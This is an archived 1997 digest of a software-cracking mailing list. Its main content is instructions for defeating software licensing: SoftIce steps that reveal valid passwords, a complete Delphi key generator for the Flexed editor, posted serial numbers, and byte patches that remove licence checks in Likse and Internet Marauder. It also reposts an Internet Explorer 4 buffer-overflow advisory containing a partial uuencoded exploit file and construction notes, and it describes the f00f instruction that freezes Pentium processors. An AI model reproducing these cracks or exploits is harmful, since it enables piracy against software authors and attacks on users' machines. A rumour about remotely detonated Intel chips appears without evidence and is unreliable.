home *** CD-ROM | disk | FTP | other *** search
Text File | 2000-05-25 | 50.6 KB | 1,584 lines |
-
- ========================================================
- +HCU Maillist Issue: 61 11/17/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: OrcFinder(TM)
-
- #2 Subject: SoftIce Basics
-
- #3 Subject: a little challenge
-
- #4 Subject: a little long but very nice
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: OrcFinder(TM)
-
-
- Regarding the ORC riddle:
-
- If non HCU-ers find the answer to the riddle, fine.
-
- If HCU-ers find the answer (or have found the answer) it should be
- mentioned to HCU-ers alone if the answer reveals his true identity.
-
- He has been careful to protect the identities of his HCU-ers, and that
- same respect should be used in return.
-
- Just my 2 cents.
-
- +gthorne
-
- -----#2-------------------------------------------------
- Subject: SoftIce Basics
-
- Hi all
- Am I just stupid or is it impossible to get WIce to write to a file. Say
- for example I want a screen of SoftIce to be written to a text file so
- I can examine it later. Can this be done?
- Any case, I realy enjoy all the help and info on here.
- Tnx to everyone who take time putting there thoughts to paper so to
- speak.
-
- Bye
- GlorFindeL
-
- ______________________________________________________
- Get Your Private, Free Email at **********************
-
- -----#3-------------------------------------------------
- Subject: a little challenge
-
- Hello all,
-
- there's a funny little program at *************************************
-
- it's a diet program. Besides that, what's funny is that I can never
- manage to BPX into the exe, but only into vbrun300.dll or GDI, or USER,
- etc.
-
- Now, I am not *that* experienced with cracking, but I found this very
- strange. I trace and trace and trace, and it never shows up into the
- main exe.
-
- Could someone take a look? Maybe it's something very simple, but perhaps
- it could result in a nice 'lesson' to us all.
-
- WAFNA of FCA
-
- -----#4-------------------------------------------------
- Subject: a little long but very nice
-
- Hello all,
-
- pls read....
-
- Document: L0pht Security Advisory
- URL Origin: ********************************
- Release Date: November 1st, 1997
- Application: Microsoft Internet Explorer 4.0 Suite
- Severity: Viewing remote HTML content can execute arbitrary
- native code
- Author: ****************
- Operating Sys: Windows 95
-
- -------------------------------------------------------------------------------
-
- ========
- Scenario
- ========
-
- The Microsoft Internet Explorer 4.0 Suite, including all programs
- supplied
- with it that read and/or process HTML from either local machines,
- intranet
- machines, or remote internet machines are subject to a buffer overflow
- in the
- HTML decoding process. The buffer overflow can cause the application
- to page
- fault, or in the worst case, execute arbitrary precompiled native
- code.
-
- =======
- Example
- =======
-
- 1. Copy the supplied HTML file(s) into a location that is accessible
- via the
- target application.
- 2. Point to it. Look at it.
- 3. Click on the link. (or let someone click it for you)
- 4. Become aware of what happens to your machine.
- 5. Freak out and beg Microsoft to make the bad man stop.
-
- =================
- Technical Details
- =================
-
- The problem here lies in the deciphering of the URL line format
- itself. The
- base HTML library that is used by the Internet Explorer 4.0 Suite and
- the
- following programs are vulnerable:
-
- - Outlook Express (both mail and news)
- - Windows Explorer
- - Internet Explorer (different than regular explorer, really)
-
- This problem, because it stems from a programming flaw in the HTML
- decoding
- system, is unaffected by the Explorer "Security Zones" feature. In
- other
- words, if you turn on the highest security level for the zone from
- where the
- exploit HTML is being viewed, you are still vulnerable.
-
- The critical problem here is a buffer overflow in the parsing of a
- particular
- new type of URL protocol. The "res://" type of URL is meant to allow
- access
- to a local resource embedded in a local DLL file. This is useful for
- archiving entire websites into a DLL and is not, in its truest
- concept, a
- security flaw.
-
- For example, to read something out of the IE4.0 Tour (stored in a DLL)
- try
- the following URL: res://ie4tour.dll/page1-6.htm
-
- The buffer overflow is on the actual filename specified. To crash your
- machine go ahead and try res://blahblahblah ... blahblah/ in your
- Internet
- Explorer window where the amount of 'blah' equals 265 characters.
-
- The function that goes through the filename and validates it is flawed
- on
- Windows 95. Without checking the length, the filename is uppercased,
- concatenated with '.DLL' if it isn't there already, and in the
- process,
- copied into a fixed size buffer.
-
- ========
- Solution
- ========
-
- Currently, there is no solution available for this flaw. You can't set
- any
- Internet Explorer options to avoid it, and you are not protected by
- any
- level of zone security. Simply don't surf the web, read email or view
- net news using Internet Explorer 4.0 until Microsoft puts up a hotfix.
-
- ============
- Exploit Code
- ============
-
-
- Here we go...
- When constructing the exploit we want to try something useful.
- Lets's start with appending text of your choice to AUTOEXEC.BAT...
- (note that running native code lets you do pretty much anything you
- want)
-
- Note that the location of the exploit string in the stack is very
- important
- and it varies from target application to target application.
-
- Constructing the exploit string:
- Figure out stack location for exploit code...
-
- App Loc
- Internet Explorer 0x0057C144
- Windows Explorer 0x0088A0F4
- ...
-
- Yeah, I know that those locations have null bytes in them and you
- can't
- put those (or lowercase letters, or CR/LF or 0x07 or anything like
- that)
- in the exploit string... but we'll let microsoft fix that for us.
- Step thru
- the process to see IE add that extra null character for you. Will
- they
- ever cease to amaze...
-
- Put together what you wanna do, tack on the necessary jump addresses
- and
- all that. That's it.
-
-
- And now, UUENCODED to preserve freshness:
-
- *************************************************************************
- * MAKE SURE YOU RUN THIS EXPLOIT WITH __INTERNET__ EXPLORER, _NOT_
- *
- * REGULAR OL' WINDOWS EXPLORER. (put it on a website and download it or
- *
- * click on the IE desktop icon (run iexplore.exe) and type in the name
- *
- * of the file into the URL line) IT WON'T WORK OTHERWISE!!!!
- *
- * (though it could be made to do so)
- *
- *************************************************************************
-
- ----====/ SNIP
-
- section 1 of uuencode 5.20 of file infect.htm by R.E.M.
-
- begin 644 infect.htm
- *************************************************************
- M/"]T:71L93X-"CPO:&5A9#X-"CQB;V1Y(&)G8V]L;W(](T9&1D9&1B!T97AT
- *************************************************************
- *************************************************************
- *************************************************************
- *************************************************************
- *************************************************************
- M,]NS.5.[#-+G$('K$!"0$%-0N[#*^;__TX/$#)"0D)"[SX#YO__3D)"0N["O
- *************************************************************
- *************************************************************
- *************************************************************
- M"B(^#0H\9F]N="!F86-E/2)7:6YG9&EN9W,B('-I>F4]*S8^_SPO9F]N=#X\
- *************************************************************
- *************************************************************
- ->3X-"CPO:'1M;#X-"CX-
- `
- end
- sum -r/size 62455/917 section (from "begin" to "end")
- sum -r/size 5779/643 entire input file
-
- /====---- SNIP
-
-
- A haiku:
-
- Microsoft IE
- Is there no security?
- Not if you ask me.
-
- **************** (11/1/97)
-
- -------------------------------------------------------------------------------
-
- For more L0pht (that's L - zero - P - H - T) advisories check out:
- ********************************
-
- =====End of Issue 61====================================
-
-
-
-
-
- ========================================================
- +HCU Maillist Issue: 62 11/18/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: WeightCm
-
- #2 Subject: Likse 1.72
-
- #3 Subject: Winice Text File saving.
-
- #4 Subject: My first crack
-
- #5 Subject: ie4 patching
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: WeightCm
-
- WAFNA;
-
- Here are my notes on WeightCM.
-
- Go to register screen, enter 123123
- ctrl-d into Soft-Ice
- s ds:0 lffffffff "123123"
- bpr ds:xxxxxxxx ds:xxxxxxxx+6 rw
- ctrl-d back to program and press enter
-
- When Soft-Ice breaks:
- ds:si <---= your input
- es:di <---= where it will go
- bpr es:di es:di+6 rw
-
- S-I breaks on repz scansb <--- counts input
- S-I breaks on repz movsw <--- program stuff
- S-I breaks on repz movsw <--- the spot
-
- at the spot: (vbrun300(31) CS:958F)
- d es:di <---= your input
- scan up the data window, real PW is right on top of your input TWICE!
-
- Now just shut down the program, re-start and enter the REAL PW number.
-
- Hackmore
-
-
- -----#2-------------------------------------------------
- Subject: Likse 1.72
-
- Hi all!
-
- I wonder if anyone of you have met this Likse offline browser and could
- crack or even register it with a valid key you got from the author.
- Yesterday evening I tried to crack it, but got nowhere, so I thought I
- ask if anyone has already worked with this.
-
- Annoying features:
- - nagscreen,
- - you cannot export the htm file to text, the register info says you
- can export only the first 50 lines, but actually the only thing I
- could export is the register info file :(
- - if you search for a string in files only the first five hit is
- displayed (even this number is not correct I could see only four
- hits)
-
- The reginfo says everything can be unlocked with a correct user key.
- Ok, I said lets do some work, deadlisting, looking for the bad guy
- string I have found the validation rutin. Patched the jump after it
- "Thank you for registration..blahbla" Name and ID written into ini
- file. Restart program registration rutin called at the begining to
- check for Name and ID read from the file. Patched the jump there too,
- program goes on happily, the nag screen gone, but ...oops you still
- can not export and the search is still limited. Shit, this will be
- longer than I sought :) Ok, lets dive deeper into the key generation
- rutin (man, I hate to do this) probably some flags are set there.
- After long and unsuccessful Iceing I got really bored with it. The
- rutin is long, complex, does a lot of things which has nothing to
- do with key validation (at least I think), it uses push address, ret
- instead of jumps etc. It might be intentionally complicated but I
- think its just a badly written spagetti code.
- Ok, I will not get a valid key soon lets give it up and check out
- Oscar. It has four keys for 1.x ver, I punch them in. The same shit:
- "Thanks for registering..", nagscreen goes, but all the limitations
- remain. Ok lets attack from the other direction, I pinpoint the rutins
- dealing with the limited functions to look for a flag checking before
- they execute the bad guy version etc. Not even a single conditional
- jump in them, the limit seems to be hard coded, and no obvious way to
- unlock them with a password.
-
- It seems to me that the author had a first version with the ability
- to unlock with a key, but later due to the appearance of valid keys
- on the net he just went for a crippled version. Letting the whole
- bazar of registration in it, is a nice touch, certainly lets the
- cracker work a lot for nothing. On the other hand he might be just
- lazy to rewrite the reginfo file, considering that the
- current limitations are not exactly whats written in the info.
-
- So my problem is: can this program be unlocked with a certain key
- (meaning that I have been fooled completely by the protection) or
- the guy says to the normal customers when they call: Ohh, no...
- the registration is not working like that, anymore. We will ship
- you the complete version instead of the key as soon as possible.
- Have a nice day... :)
-
- Bye Zer0+
-
- PS: Of course I will try to patch the limited functions, but
- thats a totally different ball game.
-
-
- -----#3-------------------------------------------------
- Subject: Winice Text File saving.
-
- Hi GlorFindeL,
-
- >Subject: SoftIce Basics
- >Hi all
- >Am I just stupid or is it impossible to get WIce to write to a file. Say
- >for example I want a screen of SoftIce to be written to a text file so
-
- You can't 'save' the softice's screen itself (you can print it),
- but the softice's history.
- First, fire symbol loader and go to softice initialization settings.
- Put a history buffer size more of 0Ko, obviously :-) (default is 256, not
- enough
- for big listing).
- Second, fire winice / ntice. Put your breakpoints and all to arrive at the
- wanted code. Disassemble with for example, U CS:EIP L 1000
- Third, CTRL-D immediately to return to W95/NT, fire again symbol loader
- and choose File/Save Softice History As...
- And the saved file contains your code, winice loading, all you type (even if
- you're tracing WITHOUT code window on), etc...
- Cya.
- FootSteps.
-
-
-
-
- -----#4-------------------------------------------------
- Subject: My first crack
-
- Hi, All!
-
- Well, at last :-)))
-
- I don't know if you remember some messages I sent about cracking apps
- using VCL. VCL stands for "visual component library", a library used
- by recent Borland visual languages as Delphi and BC++ Builder.
-
- This kind of environments use a proprietary format of resources, that
- appear as "RCDATA" when listed by RWS.=20
- This resources contain "forms". Forms, in Delphi jargon are the
- windows of the program, and all the info about their design are stored
- there. When a Delphi app is starting, the initialization code creates
- the forms, loading the required information from the resources.
- Sometimes this loading is deferred for forms not used very often, that
- are created and destroyed as needed.
- This system is the best and the worse of Delphi. It allows a very fast
- way of programming but, for big apps, it can slow down the loading
- time.
-
- The really interesting part of this information is that the address of
- the routines -called in response to user actions over the elements of
- the form- are binded at run time by name. So knowing theese names we
- can find the addresses.
- If you have cracked Delphi apps, you surely have experienced a long
- chain of calls inside the library, from the breakpoints on the API
- calls to the "do something" code.=20
- I hoped that those addresses could help pinpointing the code.
-
- +ReZiDeNt suggested me to test this method against a "real world"
- program: Flexed, an HTML editor written in Delphi and I installed it.
- But the weeks passed and I hadn't time to work on it.
- When I started it yesterday I found a nasty "Your evaluation period
- has expired" :-(
-
- I had convinced an old Windos programmer to join me making a new tool
- for spying all the information about Delphi and BC++B forms. I'm going
- to publish it on the web, but it needs some final touchs, so please
- wait some days. BTW, I'm going to be netless for a few days, so be
- patient if I can't reply any question about this as quickly as I would
- like.
-
- I used this tool to obtain the information about "TSplashForm" and
- this is what I got:
-
- -------------------------------
- object SplashForm: TSplashForm
- Left =3D 240
- Top =3D 150
- ...
-
- // lot of blahblahblah here
-
- ...
- TabOrder =3D 0
- end
- object RegButton: TButton
- Left =3D 200
- Top =3D 176
- Width =3D 97
- Height =3D 25
- Caption =3D 'Register'
- TabOrder =3D 1
- OnClick =3D RegButtonClick
- end
- end
- ---------------------
- (you can also use RWS or simply hexedit it, but converted to text is
- clearer)
-
- Well. It seems to be here, near the end:
- OnClick =3D RegButtonClick
-
- This is what happens when the user presses the button with the caption
- "Register".
-
- Using Hex Workshop, I looked for "RegButtonClick" and I found it
- twice. The second is the resource itself, the first is within an
- address table:
-
- 000A4990 ____ ____ ____ BC57 4A00 0E52 6567 4275 ______.WJ..RegBu
- 000A49A0 7474 6F6E 436C 6963 6B__ ____ ____ ____ ttonClick_______
-
- Now look at the magic numbers before the name. There is an 0E byte
- indicating the length of "RegButtonClick" (14 characters) and even
- before, an address: 004ABC57.
- WDasm seems to think that this is a too long file and deserves
- unassembling it correctly but with Softice we can bpx this and...
- right! it stops at this point just when we push the button.
-
- Tracing some instruction forward you'll find an "standard stack frame"
- in 44ECC8. From this point, there are some calls to show a dialog
- asking for the user name and a register key.=20
-
- You can enter the name you choose, and anything as the key, after
- BPXing 44ED69. Here, a call to a routine compares two strings.
- D EDX will show the fake key you entered and D EAX, the correct
- calculated key.=20
-
- Err... I'm still learning to use SoftIce so I was tempted to stop
- here. But, no!! a little cocktail with spanish whisky. I don't know if
- it's more similar to vodka-martini or Wafna's kerosene... but it
- worked :*)
-
- The encrytion algorithm is in 0044E714, called a little before than
- the str-comp.
- Well, there's a lot of additional details I needed to handle, but I'm
- sure you are not very interested in them right now O:-)
- I'll write an essay with everything and send it to Fravia... maybe the
- protection scheme is not very interesting but I think the *cracking
- scheme* is.
-
- I thought it would be nice to write the key generator in Delphi
- itself.
- But don't worry, it's less than 6kb.
- If you have Delphi 32bits, save this as HCUFE32.dpr, load and run.
-
- If you want to translate it to other language, take a look at
- 00402B94, the source of random number generator. The "seed" must be
- initialized to 0EEEEH.
-
- ------------------------------------
- program HCUFE32;
- {$APPTYPE CONSOLE}
- uses
- SysUtils;
-
- function Convert( sUserName: string ): string;
- var
- n: Integer;
- IterateRandom: Integer;
- Calculated: Integer;
- Selected: Integer;
- sFiltered: string;
- b1,b2: Byte;
- begin
- sUserName :=3D UpperCase( sUserName );
- sFiltered :=3D '';
- for n :=3D 1 to Length( sUserName ) do begin
- b1 :=3D Ord( sUserName[ n ] ) + $d0;
- b2 :=3D b1 + 239;
- if ( b1 < $a ) or
- ( b2 < $1a ) then
- sFiltered :=3D sFiltered + sUserName[ n ];
- end;
- Result :=3D '';
- if sFiltered =3D '' then
- Exit;
- RandSeed :=3D $EEEE;
- for n :=3D 1 to 12 do begin
- Selected :=3D Ord( sFiltered[ Succ( Random( Length( sFiltered ) ) )
- ] );
- for IterateRandom :=3D 1 to Selected do
- Calculated :=3D Random( 10 );
- Result :=3D Result + IntToStr( Calculated );
- end;
- end;
-
- var
- s: string;
- begin
- Writeln;
- Write( 'User name: ' );
- Readln( s );
- s :=3D Convert( s );
- if s =3D '' then
- Writeln( 'Incorrect user name... sorry, try again O:-)' )
- else
- Writeln( 'Your user key is ' + s + ' courtesy of +HCU.' );
- Write( 'Press RETURN to return...' );
- Readln
- end.
- -----------------------------------------------------------------
-
- Thanks to +ReZiDeNt for his help and encouragement ;)
-
- greetings
-
- +trurl
-
- P.D. I've seen a message here about MultiEdit. This is not a Delphi
- app. Maybe some DLLs are written with Delphi, but it doesn't use VCL.
- As you have seen just a little above, it's possible to write apps or
- DLLs in Delphi without using VCL at all.
-
- -----#5-------------------------------------------------
- Subject: ie4 patching
-
-
- The bug in IE (apparently a more general bug than that) is supposedly
- fixed whith the patch below. Here is a copy of the message from the
- bugtraq mailing list.
-
- I do not have IE4, nor do I care to install it for a long time, so
- test this at your own risk.
-
- +gthorne
-
- --- message here ---
-
- The patch will be to the mshtml control which is the core of Internet
- Explorer and is what the other applications mentioned by l0pht will be
- using. Hence the patch to IE will fix the other apps.
-
- John Wiltshire
-
- > -----Original Message-----
- > From: Richard Trott ******************************
- > Sent: Friday, November 14, 1997 5:39 AM
- > To: ********************
- > Subject: IE4.0 patch
- >
- > Microsoft released a patch for the recently-reported (via l0pht--see
- > ******************************** if you missed it on bugtraq) buffer
- > overflow in Win95 with regard to res:// type URLs.
- >
- > Does anyone know if the patch
- > ************************************************************** to get
- > it)
- > actually fixes Win95, or if it's just an IE patch? The l0pht advisory
- > indicated that other apps were vulnerable because the problem was with
- > Win95, not IE. (Easy, if not-so-thorough, way to test: use Outlook
- > Express (or Windows Explorer) to view a bogus res:// URL of longer
- > than
- > 256 characters and watch it crash Outlook Express (or Windows
- > Explorer).
- > Install patch above. Try again. Does it still crash? I don't have a
- > Win95 machine at my disposal to test this with...)
- >
- > Richard Trott
- > ***********************
-
- =====End of Issue 62====================================
-
-
-
-
-
- ========================================================
- +HCU Maillist Issue: 63 11/19/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: Solving +Orc riddle?
-
- #2 Subject: chez.com
-
- #3 Subject: Likse 1.72
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: Solving +Orc riddle?
-
- Hail +All:
-
- More than anything else, the honor to meet +Orc and all the other
- +personalities holds more appeal than chasing a cyberspace riddle.
- What if we held a year 2000 convention (kind of like a class reunion)
- with the guests of honor being the +Master and his famous +three
- disciples of fravia+, +gthorne, and +Sync? Would anyone show up for
- the occasion? Each name you come across in this ML and the essay
- submissions is a riddle. We could solve all the riddles and the
- personality behind the masks at one time.
-
- Think about it Hackmore. Why did you abstain from voting on your own
- survey? Rather than buy a software, would you spend the money on a
- plane ticket to meet +Orc if it was possible?
-
- wlc
-
-
- -----#2-------------------------------------------------
- Subject: chez.com
-
- Hello all,
-
- remember ************* The only place where you get 10MB of free web
- space and an e-mail address which you can access via POP3 protocol?
-
- Well, they are now limiting new users to French people, ie, you need to
- have an e-mail address which ends in .fr
-
- Since most people on the +HCU mail-list seem to be in Europe, does
- anyone here have a .fr address? (it would only be used to receive a
- single e-mail from chez.com; then you would reply for me, and that would
- validate my address).
-
- TIA,
-
- WAFNA
-
- -----#3-------------------------------------------------
- Subject: Likse 1.72
-
- Likse V1.72 (c) Faico 16/32 bits VERSION WORKING REG
- ********************
- NAME:CKL!1997
- SN:2909679-2590 SINGLE LIC
- SN:2909679-159 SITE LIC
- SN:2909679-4694 ROYALTY FREE
- SN:2909679-4210 LICENSE
-
- DEEP TRACE NEEDED,CATCH HMEMCPY
- MAIN PROT SCHEM IS A CMP EAX,[EBP-14] WHER EAX IS HEXED OF FIRST
- PART OF THE SN AND EBP-14 THE HEXED OF FAKE
- IT'S LIKE:
- CMP EAX,[EBP-14]
- SETZ BL
- ....
- IF FIRST SN PART OK CONTINUE AND AFTER A CALL THE SECOND TEST
- AS CMP EAX,[EBP-18]
- WITH HEXED OF SECOND PART
- IF WRONG TEST REJUMP UP AND TEST SAME IF SINGLE,SITE,ROYALTY,LIC
- 4X EACH HEXED IN EAX
- TIME LOOSE TO GENERATE ALL LICENSED VERSION
- done in 5 minutes
-
- ______________________________________________________
- Get Your Private, Free Email at **********************
-
- =====End of Issue 63====================================
-
-
-
-
-
- ========================================================
- +HCU Maillist Issue: 64 11/20/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: 2k Party and FTP
-
- #2 Subject: Yet another site-grabber
-
- #3 Subject: pentium bug
-
- #4 Subject: possible sighting of unusual behavoiur by (possibly) Likse? ;-)
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: 2k Party and FTP
-
-
- Fravia and myself would probably go for the idea of a party - we both
- love a good beer :)
-
- +ORC and our original HCU counterpart(s) are always an enigma however.
- I think that even if we did figure out who +ORC is, and even if he met
- Fravia or myself, it would be another ice age before we could get him
- to show up.
-
- I suppose any of you who tried the new ftp site (listed as FTP2 below
- - it was hacked by someone with the fun litle f00f bug and has been
- redone.
-
- The address below works, and when i get a chance I will update my
- pages to reflect this.
-
- For fun, I have set up an incoming directory there for you guys.
- Don't overload it, we only have so much space, but when you guys
- discuss an important software tool here, feel free to up it there if
- you lack someplace to put things.
-
- I reserve the right to move things around (or make space if the site
- gets full since i am not the only person with access by removing a few
- things)
-
- Take care
-
- +gthorne
-
- /*****************************************************\
-
- Greythorne The Technomancer
-
- WebSite: *******************************
- (AKA:) ************************************
- (IP:) ****************************
- Gateway: *************************************
- Old Mirror: ******************************
- FTP1: ******************************************
- FTP2: *******************************************
-
- \*****************************************************/
-
-
- -----#2-------------------------------------------------
- Subject: Yet another site-grabber
-
- Hi!
-
- Iternet Marauder is another program to download entire sites. It's not
- very lengthy (750kb unzipped). Speed is reasonable. Easy to use.
- Version 1.4 is downloadable at any simtelnet mirror:
-
- ....simtelnet/win95/inet/mdr14.zip
-
- It's also unexpensive, $10... err, you can also patch at 401842,
- replacing:
-
- :00401842 55 push ebp
- :00401843 33C9 xor ecx, ecx
- ....
-
- simply with:
-
- :00401842 33C0 xor eax,eax=20
- :00401844 C3 ret
- ....
-
- This also removes some limitations.
-
- bye
-
- +trurl
-
- -----#3-------------------------------------------------
- Subject: pentium bug
-
- Hello all,
-
- On 10 Nov 97 at 7:21, +HCU ML wrote:
-
- > #7 Subject: pentium bug
- > -----#7-------------------------------------------------
- > Subject: pentium bug
- >
- > Hi all!
- >
- > I just came across the info:
- > the F0, 0F, C7, C8 instruction codes freeze a pentium processor and
- > only the reset helps. This translates to the LOCK CMPXCHG EAX
- > instruction which is not a privileged instuction so you can do it in
- > all rings. With this you can kill a multiuser system (NT or linux)
- > instantly. The only way to bring it back is going to the machine and
- > press reset. That much about secure operation systems on a PC. BTW I
- > have 486 and PPro so I could not check the info.
-
- Well, allow me to introduce myself: I live in South America, where I
- work at an Embassy as a diplomat, and, because of that, I have
- contacts with lots of people in greedy govt agencies.
-
- This having been said, I should add that I am not a spy among
- crackers.... I began with a sinclair in 1980, moved to a Vic20 in
- 1982, evolved to an Apple in 1984, and went to the PC in 1987. I
- began using machine code on the Vic20, and I always liked it,
- although on the PC it seems quite strange.....
-
- Anyway, what I wanted to tell you is something I got from a source in
- an American agency about INTEL chips. Apparently, espc those who
- ended up used for defense (the source mentioned Iraq), have something
- inbedded in them by which they can be disabled by a certain series of
- variations in voltage from the power line. Not all chips have this,
- and this 'protection' would enable the US govt to destroy ('explode'
- and 'blow up' were the words used by my source) the chips in certain
- areas.
-
- Now, if that is true, it's awfully clever.......
-
- WAFNA
-
- -----#4-------------------------------------------------
- Subject: possible sighting of unusual behavoiur by (possibly) Likse? ;-)
-
- Hello +Zer0,
-
- > I wonder if anyone of you have met this Likse offline browser and
- > could crack or even register it with a valid key you got from the
- > author. Yesterday evening I tried to crack it, but got nowhere, so I
- > thought I ask if anyone has already worked with this.
-
- Hmm.....awhile ago I was looking for a suitable (eg
- crackable :-)) offline browser for a project - many that I found were
- simply deadware - but I found a few useful ones which seemed
- crackable, including Likse. Anyway, I didn't like Likse for a number
- of reasons, but I'm pretty sure I did crack it (I say pretty sure
- because I think I remember a very unusual scheme it used - at least
- for a Windows program - but I don't have any notes made of it,
- probably because I cracked it in the wee hours and was only half-awake
- at best :-)) - if I remember correctly, Likse actaully *patched
- itself* - I've not seen this behaviour before or since in a Windoze
- program, but I do remember thinking how unusual it was. I can't be
- absolutely certain it was Likse that used that, but I think it might
- be - so you might want to take a quick look at any suspicous file I/O
- routines.
-
- Cheers,
- +ReZiDeNt
-
- =====End of Issue 64====================================
-
-
-
-
-
- ========================================================
- +HCU Maillist Issue: 65 11/21/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: Assembly
-
- #2 Subject: Re: Likse
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: Assembly
-
- Hello all,
-
- for those who want to read the latest on INTEL's undocumented features,
- check ******************************** (text only) or
- ****************** (with images).
-
- IMHO, that would be worth a note on Fravia's pages re protections -
- imagine something based on a INTEL undocumented feature, something
- really strange..... that would block away most crackers.....
-
- WAFNA
-
- -----#2-------------------------------------------------
- Subject: Re: Likse
-
- Hi all!
-
- Somebody wrote:
- >Likse V1.72 (c) Faico 16/32 bits VERSION WORKING REG
- *********************
- >NAME:CKL!1997
- >SN:2909679-2590 SINGLE LIC
- >SN:2909679-159 SITE LIC
- >SN:2909679-4694 ROYALTY FREE
- >SN:2909679-4210 LICENSE
-
- Unfortunately, these keys are not working with the Likse version
- I downloaded yesterday again. (Zip file 394 406 bytes, exe file
- 550 912 bytes. My fault that I forgot to give the exact
- specifications of the target previously.)
- So the quest is still up: Can somebody provide a working key
- (even obtained from the author) to unlock this version? :)
- I still think the author just gave up this registration thing
- all together. Anyway, i worked on the program yesterday and
- here is the fix.
-
- Elimination of the nag screen:
-
- :00455FC3 call 00455B30 /This rutin checks the key
- :00455FC8 mov ebx, eax
- :00455FCA test ebx, ebx
- :00455FCC jl 00456126 /Nuke this jump
-
- This patch makes the program belive it has a valid
- REGNAME and REGID key in the [APPINFO] section of
- the Lkaccess.ini file even when there is no such
- section at all. (you can make it if you want with
- your name. :)
-
- Elimination of the 50 line limit from the export text
- function: Piece of cake!
-
- :0045E73C cmp si, 0032
- :0045E740 jbe 0045E746 /Nuke this with NOP, INC ESI
- :0045E742 mov si, 0032 / NOP, INC ESI, NOP, NOP
- :0045E746 test si, si
-
- We have to increment ESI by 2 otherwise the last two
- line of the htm file is not purged from the html tags.
- (Maybe a bug? Who knows? We fix it anyway :)
-
- The program writes at the begining of every
- output text file that only the first 50 lines are
- converted. This should be left out when it writes
- the text to the file (tempfile.txt). One way to
- do this is to jump over all the rutins which puts
- the bad guy text to the output buffer. This can
- be achived by inseting a JUMP 45E730 instruction
- at position 45E6F0. The only inconvenience is
- that the name of the file we convert is inserted
- at the begining of the output file.
-
- Elimination of the max 5 displayed search result
- limit:
-
- The value 5 is at [464A90] and checked here:
-
- :004600A6 cmp bx, word ptr [00464A90]
- :004600AD jbe 004600B6 /make this to JMP
- :004600AF mov bx, word ptr [00464A90]
-
- There is also some text that only five results
- are displayed which is not true anymore :)
- So lets get rid of it by inserting a
- JMP 460080 to position 45FFC9 which just
- jumps all over the bad guy string construction
- rutins.
-
- With this modifications the program is fully
- functional. On the other hand if somebody
- knows a better offline browser (I think
- Rezident said he has one) please let me
- know.
-
- Thanks Zer0+
-
- =====End of Issue 65====================================
-
-
-
-
-
- ========================================================
- +HCU Maillist Issue: 66 11/22/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: frmspy
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: frmspy
-
- Hi All!
-
- I've used the FTP site +gthorne offered (thanks, +gthorne! :)) to
- upload my little tool frmspy. If he doesn't decide to move it around:
-
- ***************************************************
-
- The filename is frmspy.zip ~137kb.
-
- Notes:=20
-
- The code is taken from a more complete utility for Delphi programmers
- that some friends are working on.=20
- The complete tool is still under developement. When done, I'll post
- the address of the Delphi programming page where it's going to be
- published.
-
- I've limited the funcionality to just the interesting part (for us).
- Other limitations come from the fact that it's incomplete O:)
-
- -It's a 32 bits app.=20
- -Only works with 32 bits exes (Delphi 2+ and BC++Builder). If you try
- to load a 16 bits program, it'll complain -"Not a PE file".
- -Some RCDATA resources might not be forms. In this case an "Incorrect
- format" message appears.=20
-
- Tip: It can also manage DLLs. Be aware that, for Delphi3 programs,
- it's possible to find some DLLs with a different file extensions
- (maybe DPL).
-
- ------------------
- +ZERO, where did you download Likse?
-
-
- greetings
-
- +trurl
-
- =====End of Issue 66====================================
-
-
-
- =====Sorry, no #67 available!===========================
-
-
-
- ========================================================
- +HCU Maillist Issue: 68 11/24/1997
- --------------------------------------------------------
- Send Articles To:......................... *************
- Info, Help, Unsubscription, etc:....... ****************
- ========================================================
-
- CONTENTS:
-
- #1 Subject: Re: frmspy and IRC war
-
- #2 Subject: Attn AZ111
-
- #3 Subject: An alternative to Likse
-
- #4 Subject: Likse
-
- #5 Subject: stupidest protection of all times
-
- ARTICLES:
-
- -----#1-------------------------------------------------
- Subject: Re: frmspy and IRC war
-
- >
- > I've used the FTP site +gthorne offered (thanks, +gthorne! :)) to
- > upload my little tool frmspy. If he doesn't decide to move it around:
- >
- > ***************************************************
- >
- > The filename is frmspy.zip ~137kb.
- >
- ....
- > +trurl
- >
-
- You are welcome :)
-
- notice also that the directories above contain the full install of
- tasm 5 (and of course the full ida that i just like having around) - and
- hopefully more in the future
-
- Feel free to make any subdirectories in the incoming directory, if
- they are intelligently named, i may just keep the same dir names and
- move them upward to the main .cracking tree
-
- I will be gone for a week (holiday and such)
- so I wont be able to look out for hundred meg overloaded uploads (eek!)
-
- On a separate note, many of you have noticed that rIDDLER has banned
- me from #cracking (as well as resorting to irc attack programs to lock
- up my pc on occasion, and regularly knock me offline)
- He is also on as Jami Quai
-
- It happened because one day he was bashing Fravia, Me and +ORC (again
- - I hear it has happened on occasion before) and he asked me my
- opinion on tutorials. I told him they were an important part of the
- learning process... examples in texts have for thousands of years been
- an invaluable resource in schools. Where would we be without the
- written word? Dark ages I tell you.
-
- Apparently he didn't like the fact that I wasn't going to lose easily
- my argument because it was different from his.
-
- I feel it is a shame that someone I had once respected has to resort
- to childish bully tactics to enforce an opinion, rather than have
- healthy opinion diffences like we all do from time to time.
-
- I just thought I would let you know before it trickled down the
- grapevine. It is easier answering many questions pro-actively rather
- than re-explaining it each time someone finds out.
-
- Take care all, I have a week of holiday planned where I can leave
- these minor irritations behind. See you when I get back.
-
- +gthorne
-
- /*****************************************************\
-
